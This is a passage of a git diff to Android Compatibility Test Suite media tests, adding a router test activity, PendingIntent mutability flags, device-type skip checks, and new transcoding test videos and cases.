-        transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+        synchronized (mWaitLock) {
+            // These calls should not crash. Null query is accepted on purpose.
+            transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayFromSearchCalled);
+
+            transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        }
     }
 
     public void testSendCustomActionWithIllegalArgumentsThrowsIAE() {
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index f932e5b..eec8a31 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -1070,6 +1070,11 @@
                 1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
     }
 
+    public void testGetImageAtIndexAvifGrid() throws Exception {
+        testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
+                1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
+    }
+
     /**
      * Determines if two color values are approximately equal.
      */
diff --git a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
index 271db7d..0a75047 100644
--- a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
@@ -74,6 +74,7 @@
     Context mContext;
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
     private StubMediaRoute2ProviderService mService;
 
     private static final int TIMEOUT_MS = 5000;
@@ -91,6 +92,16 @@
         mRouter2 = MediaRouter2.getInstance(mContext);
         mExecutor = Executors.newSingleThreadExecutor();
 
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
         new PollingCheck(TIMEOUT_MS) {
             @Override
             protected boolean check() {
@@ -107,6 +118,8 @@
 
     @After
     public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
         if (mService != null) {
             mService.clear();
             mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 48466d5..07136d6 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -82,6 +82,7 @@
     private MediaRouter2 mRouter2;
     private Executor mExecutor;
     private AudioManager mAudioManager;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
     private StubMediaRoute2ProviderService mService;
 
     private static final int TIMEOUT_MS = 5000;
@@ -102,6 +103,16 @@
         mExecutor = Executors.newSingleThreadExecutor();
         mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
 
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
         new PollingCheck(TIMEOUT_MS) {
             @Override
             protected boolean check() {
@@ -120,6 +131,8 @@
 
     @After
     public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
         if (mService != null) {
             mService.clear();
             mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
new file mode 100644
index 0000000..e0ba399
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import androidx.test.core.app.ActivityScenario;
+
+public class MediaRouter2TestActivity extends Activity {
+
+    private static ActivityScenario<MediaRouter2TestActivity> sActivityScenario;
+
+    public static ActivityScenario<MediaRouter2TestActivity> startActivity(Context context) {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClass(context, MediaRouter2TestActivity.class);
+        sActivityScenario = ActivityScenario.launch(intent);
+        return sActivityScenario;
+    }
+
+    public static void finishActivity() {
+        if (sActivityScenario != null) {
+            // TODO: Sometimes calling this takes about 5 seconds. Need to figure out why.
+            sActivityScenario.close();
+            sActivityScenario = null;
+        }
+    }
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setTurnScreenOn(true);
+        setShowWhenLocked(true);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 3d51d57..5d9908f 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -222,7 +222,7 @@
 
         Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
         PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
-                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT);
+                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
         userRoute.setRemoteControlClient(rcc);
         assertEquals(rcc, userRoute.getRemoteControlClient());
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
index af48114..6ee8bd4 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -140,7 +140,7 @@
     public void testBuilder_setSessionActivity() {
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
-                mContext, 0 /* requestCode */, intent, 0 /* flags */);
+                mContext, 0 /* requestCode */, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
         try (MediaSession2 session = new MediaSession2.Builder(mContext)
                 .setSessionActivity(pendingIntent)
                 .build()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 55f0558..a8f8d5e 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -278,7 +278,7 @@
 
             // test setSessionActivity
             Intent intent = new Intent("cts.MEDIA_SESSION_ACTION");
-            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, 0);
+            PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
             mSession.setSessionActivity(pi);
             assertEquals(pi, controller.getSessionActivity());
 
@@ -313,7 +313,7 @@
     public void testSetMediaButtonReceiver_broadcastReceiver() throws Exception {
         Intent intent = new Intent(mContext.getApplicationContext(),
                 MediaButtonBroadcastReceiver.class);
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
@@ -357,7 +357,7 @@
     public void testSetMediaButtonReceiver_service() throws Exception {
         Intent intent = new Intent(mContext.getApplicationContext(),
                 MediaButtonReceiverService.class);
-        PendingIntent pi = PendingIntent.getService(mContext, 0, intent, 0);
+        PendingIntent pi = PendingIntent.getService(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
@@ -402,7 +402,7 @@
     public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
         // Note: No such broadcast receiver exists.
         Intent intent = new Intent("android.media.cts.ACTION_MEDIA_TEST");
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Play a sound so this session can get the priority.
         Utils.assertMediaPlaybackStarted(getContext());
@@ -506,7 +506,7 @@
 
         Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON).setComponent(
                 new ComponentName(getContext(), getContext().getClass()));
-        PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mSession.setMediaButtonReceiver(pi);
 
         // Set state to STATE_PLAYING to get higher priority.
diff --git a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
index 8559570..54ae88b 100644
--- a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
+++ b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
@@ -250,6 +250,39 @@
         parcel.recycle();
     }
 
+    /**
+     * Tests that each ACTION_* constant does not overlap.
+     */
+    public void testActionConstantDoesNotOverlap() {
+        long[] actionConstants = new long[] {
+                PlaybackState.ACTION_STOP,
+                PlaybackState.ACTION_PAUSE,
+                PlaybackState.ACTION_PLAY,
+                PlaybackState.ACTION_REWIND,
+                PlaybackState.ACTION_SKIP_TO_PREVIOUS,
+                PlaybackState.ACTION_SKIP_TO_NEXT,
+                PlaybackState.ACTION_FAST_FORWARD,
+                PlaybackState.ACTION_SET_RATING,
+                PlaybackState.ACTION_SEEK_TO,
+                PlaybackState.ACTION_PLAY_PAUSE,
+                PlaybackState.ACTION_PLAY_FROM_MEDIA_ID,
+                PlaybackState.ACTION_PLAY_FROM_SEARCH,
+                PlaybackState.ACTION_SKIP_TO_QUEUE_ITEM,
+                PlaybackState.ACTION_PLAY_FROM_URI,
+                PlaybackState.ACTION_PREPARE,
+                PlaybackState.ACTION_PREPARE_FROM_MEDIA_ID,
+                PlaybackState.ACTION_PREPARE_FROM_SEARCH,
+                PlaybackState.ACTION_PREPARE_FROM_URI,
+                PlaybackState.ACTION_SET_PLAYBACK_SPEED};
+
+        // Check that the values are not overlapped.
+        for (int i = 0; i < actionConstants.length; i++) {
+            for (int j = i + 1; j < actionConstants.length; j++) {
+                assertEquals(0, actionConstants[i] & actionConstants[j]);
+            }
+        }
+    }
+
     private void assertCustomActionEquals(PlaybackState.CustomAction action1,
             PlaybackState.CustomAction action2) {
         assertEquals(action1.getAction(), action2.getAction());
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index 58b808c..8375581 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -22,6 +22,7 @@
 import android.annotation.ColorInt;
 import android.graphics.Bitmap;
 import android.graphics.Color;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_HEVC;
 import android.media.ThumbnailUtils;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Size;
@@ -33,6 +34,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -161,6 +164,11 @@
     @Test
     @Parameters(method = "getHEICSampleForCreateImageThumbnail")
     public void testCreateImageThumbnail_HEICSample(final String res) throws Exception {
+        if (!MediaUtils.hasDecoder(MIMETYPE_VIDEO_HEVC)) {
+            MediaUtils.skipTest("no video decoders for resource");
+            return;
+        }
+
         final File file = stageFile(res, new File(mDir, "cts.heic"));
         final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
 
diff --git a/tests/tests/media/src/android/media/cts/WorkDir.java b/tests/tests/media/src/android/media/cts/WorkDir.java
index 1742ec2..e93bd19 100644
--- a/tests/tests/media/src/android/media/cts/WorkDir.java
+++ b/tests/tests/media/src/android/media/cts/WorkDir.java
@@ -38,7 +38,7 @@
         android.os.Bundle bundle = InstrumentationRegistry.getArguments();
         String mediaDirString = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
         if (mediaDirString == null) {
-            return (getTopDirString() + "test/CtsMediaTestCases-1.3/");
+            return (getTopDirString() + "test/CtsMediaTestCases-1.4/");
         } else if (!mediaDirString.endsWith(File.separator)) {
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + File.separator;
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
index 1b4ed62..b33259f 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
@@ -49,6 +49,7 @@
     private static final long PAUSE_WAIT_TIME = 3000;
     private static final long WAIT_TIME = 2000;
     private static final int SEEK_TIME = 10000;
+    private static final int PLAYBACK_SETTLE_TIME_MS = 5000;
 
     public static boolean mOnCompleteSuccess = false;
     public static boolean mPlaybackError = false;
@@ -802,7 +803,7 @@
             waittime = duration - mMediaPlayer.getCurrentPosition();
             synchronized(mOnCompletion) {
                 try {
-                    mOnCompletion.wait(waittime + 2000);
+                    mOnCompletion.wait(waittime + PLAYBACK_SETTLE_TIME_MS);
                 } catch (Exception e) {
                     Log.v(TAG, "playMediaSamples are interrupted");
                     return false;
diff --git a/tests/tests/mediatranscoding/Android.bp b/tests/tests/mediatranscoding/Android.bp
index 5bba20f..0759f83 100644
--- a/tests/tests/mediatranscoding/Android.bp
+++ b/tests/tests/mediatranscoding/Android.bp
@@ -21,6 +21,9 @@
         "general-tests",
         "mts",
     ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
     resource_dirs: ["res"],
 }
 
@@ -38,4 +41,3 @@
     ],
     sdk_version: "test_current",
 }
-
diff --git a/tests/tests/mediatranscoding/AndroidManifest.xml b/tests/tests/mediatranscoding/AndroidManifest.xml
index 1d4c60e..1618b00 100644
--- a/tests/tests/mediatranscoding/AndroidManifest.xml
+++ b/tests/tests/mediatranscoding/AndroidManifest.xml
@@ -18,6 +18,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.media.mediatranscoding.cts">
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4
new file mode 100644
index 0000000..6105ba9
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4
new file mode 100644
index 0000000..61656a1
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
index 57ff933..3b797f5 100644
--- a/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_36Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_36Frames_Audio.mp4
deleted file mode 100644
index 128406f..0000000
--- a/tests/tests/mediatranscoding/res/raw/Video_HEVC_36Frames_Audio.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4
new file mode 100644
index 0000000..067170d
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_68Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_68Frames_Audio.mp4
deleted file mode 100644
index 6781f7b..0000000
--- a/tests/tests/mediatranscoding/res/raw/Video_HEVC_68Frames_Audio.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4
new file mode 100644
index 0000000..a974ef5
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
index dac13f9..3b1d144 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
@@ -39,15 +39,10 @@
     private static final String TAG = "ApplicationMediaCapabilitiesTest";
 
     public void testSetSupportHevc() throws Exception {
-        // Default HEVC support is false.
         ApplicationMediaCapabilities capability =
-                new ApplicationMediaCapabilities.Builder().build();
-        assertFalse(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
-
-        ApplicationMediaCapabilities capability2 =
                 new ApplicationMediaCapabilities.Builder().addSupportedVideoMimeType(
                         MediaFormat.MIMETYPE_VIDEO_HEVC).build();
-        assertTrue(capability2.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
     }
 
     public void testSetSupportHdr() throws Exception {
@@ -261,4 +256,42 @@
                     parser);
         });
     }
+
+    // Test NameNotFoundException with codec type.
+    // VP9 is not declare in the XML which leads to NameNotFoundException exception.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    //    <format android:name="SlowMotion" supported="false"/>
+    public void testUnsupportedCodecMimetype() throws Exception {
+        assertThrows(ApplicationMediaCapabilities.FormatNotFoundException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+
+            boolean supportVP9 = capability.isVideoMimeTypeSupported(
+                    MediaFormat.MIMETYPE_VIDEO_VP9);
+        });
+    }
+
+    // Test NameNotFoundException with hdr type.
+    // DOLBY_VISION is not declare in the XML which leads to NameNotFoundException exception.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    //    <format android:name="SlowMotion" supported="false"/>
+    public void testUnsupportedHdrtype() throws Exception {
+        assertThrows(ApplicationMediaCapabilities.FormatNotFoundException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+
+            boolean supportDolbyVision = capability.isHdrTypeSupported(
+                    MediaFeature.HdrType.DOLBY_VISION);
+        });
+    }
 }
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
index a15cbf2..37eb2e7 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
@@ -21,6 +21,7 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.ApplicationMediaCapabilities;
 import android.media.MediaFormat;
 import android.media.MediaTranscodeManager;
@@ -28,21 +29,26 @@
 import android.media.MediaTranscodeManager.TranscodingSession;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.RequiresDevice;
+import android.provider.MediaStore;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import org.junit.Test;
 
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
@@ -61,8 +67,13 @@
     private static final String TAG = "MediaTranscodeManagerTest";
     /** The time to wait for the transcode operation to complete before failing the test. */
     private static final int TRANSCODE_TIMEOUT_SECONDS = 10;
+    /** Copy the transcoded video to /storage/emulated/0/Download/ */
+    private static final boolean DEBUG_TRANSCODED_VIDEO = false;
+    /** Dump both source yuv and transcode YUV to /storage/emulated/0/Download/ */
+    private static final boolean DEBUG_YUV = false;
 
     private Context mContext;
+    private ContentResolver mContentResolver;
     private MediaTranscodeManager mMediaTranscodeManager = null;
     private Uri mSourceHEVCVideoUri = null;
     private Uri mSourceAVCVideoUri = null;
@@ -122,6 +133,7 @@
         super.setUp();
 
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mContentResolver = mContext.getContentResolver();
         mMediaTranscodeManager = mContext.getSystemService(MediaTranscodeManager.class);
         assertNotNull(mMediaTranscodeManager);
         androidx.test.InstrumentationRegistry.registerInstance(
@@ -144,11 +156,21 @@
         super.tearDown();
     }
 
+    // Skip the test for TV, Car and Watch devices.
+    private boolean shouldSkip() {
+        PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_LEANBACK) || pm.hasSystemFeature(pm.FEATURE_WATCH)
+                || pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
 
     /**
      * Verify that setting null destination uri will throw exception.
      */
     public void testCreateTranscodingRequestWithNullDestinationUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         assertThrows(IllegalArgumentException.class, () -> {
             TranscodingRequest request =
                     new TranscodingRequest.Builder()
@@ -165,6 +187,9 @@
      * Verify that setting invalid pid will throw exception.
      */
     public void testCreateTranscodingWithInvalidClientPid() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         assertThrows(IllegalArgumentException.class, () -> {
             TranscodingRequest request =
                     new TranscodingRequest.Builder()
@@ -182,6 +207,9 @@
      * Verify that setting invalid uid will throw exception.
      */
     public void testCreateTranscodingWithInvalidClientUid() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         assertThrows(IllegalArgumentException.class, () -> {
             TranscodingRequest request =
                     new TranscodingRequest.Builder()
@@ -199,6 +227,9 @@
      * Verify that setting null source uri will throw exception.
      */
     public void testCreateTranscodingRequestWithNullSourceUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         assertThrows(IllegalArgumentException.class, () -> {
             TranscodingRequest request =
                     new TranscodingRequest.Builder()
@@ -214,6 +245,9 @@
      * Verify that not setting source uri will throw exception.
      */
     public void testCreateTranscodingRequestWithoutSourceUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         assertThrows(UnsupportedOperationException.class, () -> {
             TranscodingRequest request =
                     new TranscodingRequest.Builder()
@@ -229,6 +263,9 @@
      * Verify that not setting destination uri will throw exception.
      */
     public void testCreateTranscodingRequestWithoutDestinationUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         assertThrows(UnsupportedOperationException.class, () -> {
             TranscodingRequest request =
                     new TranscodingRequest.Builder()
@@ -245,6 +282,9 @@
      * Verify that setting video transcoding without setting video format will throw exception.
      */
     public void testCreateTranscodingRequestWithoutVideoFormat() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         assertThrows(UnsupportedOperationException.class, () -> {
             TranscodingRequest request =
                     new TranscodingRequest.Builder()
@@ -258,6 +298,9 @@
 
     private void testTranscodingWithExpectResult(Uri srcUri, Uri dstUri, int expectedResult)
             throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         Semaphore transcodeCompleteSemaphore = new Semaphore(0);
 
         TranscodingRequest request =
@@ -301,6 +344,9 @@
 
     // Tests transcoding from invalid file uri and expects failure.
     public void testTranscodingInvalidSrcUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         Uri invalidSrcUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
                 + mContext.getPackageName() + "/source.mp4");
         // Create a file Uri: android.resource://android.media.cts/temp.mp4
@@ -315,6 +361,9 @@
     // Tests transcoding to a uri in res folder and expects failure as test could not write to res
     // folder.
     public void testTranscodingToResFolder() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         // Create a file Uri:  android.resource://android.media.cts/temp.mp4
         Uri destinationUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
                 + mContext.getPackageName() + "/temp.mp4");
@@ -326,6 +375,9 @@
 
     // Tests transcoding to a uri in internal cache folder and expects success.
     public void testTranscodingToCacheDir() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
         Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
                 + mContext.getCacheDir().getAbsolutePath() + "/temp.mp4");
@@ -337,6 +389,9 @@
 
     // Tests transcoding to a uri in internal files directory and expects success.
     public void testTranscodingToInternalFilesDir() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
         Uri destinationUri = Uri.fromFile(new File(mContext.getFilesDir(), "temp.mp4"));
         Log.i(TAG, "Transcoding to files dir: " + destinationUri);
@@ -345,28 +400,58 @@
                 TranscodingSession.RESULT_SUCCESS);
     }
 
-    public void testAvcTranscodingVideo30FramesWithoutAudio() throws Exception {
+    public void testAvcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         transcodeFile(resourceToUri(mContext, R.raw.Video_AVC_30Frames, "Video_AVC_30Frames.mp4"));
     }
 
-    public void testHevcTranscodingVideo30FramesWithoutAudio() throws Exception {
+    public void testHevcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
         transcodeFile(
                 resourceToUri(mContext, R.raw.Video_HEVC_30Frames, "Video_HEVC_30Frames.mp4"));
     }
 
-    public void testHevcTranscodingVideo1FrameWithAudio() throws Exception {
+    // Enable this after fixing b/175641397
+    /* public void testHevcTranscoding1080PVideo1FrameWithAudio() throws Exception {
         transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_1Frame_Audio,
                 "Video_HEVC_1Frame_Audio.mp4"));
+    } */
+
+    public void testHevcTranscoding1080PVideo37FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_37Frames_Audio,
+                "Video_HEVC_37Frames_Audio.mp4"));
     }
 
-    public void testHevcTranscodingVideo36FramesWithAudio() throws Exception {
-        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_36Frames_Audio,
-                "Video_HEVC_36Frames_Audio.mp4"));
+    public void testHevcTranscoding1080PVideo72FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_72Frames_Audio,
+                "Video_HEVC_72Frames_Audio.mp4"));
     }
 
-    public void testHevcTranscodingVideo68FramesWithAudio() throws Exception {
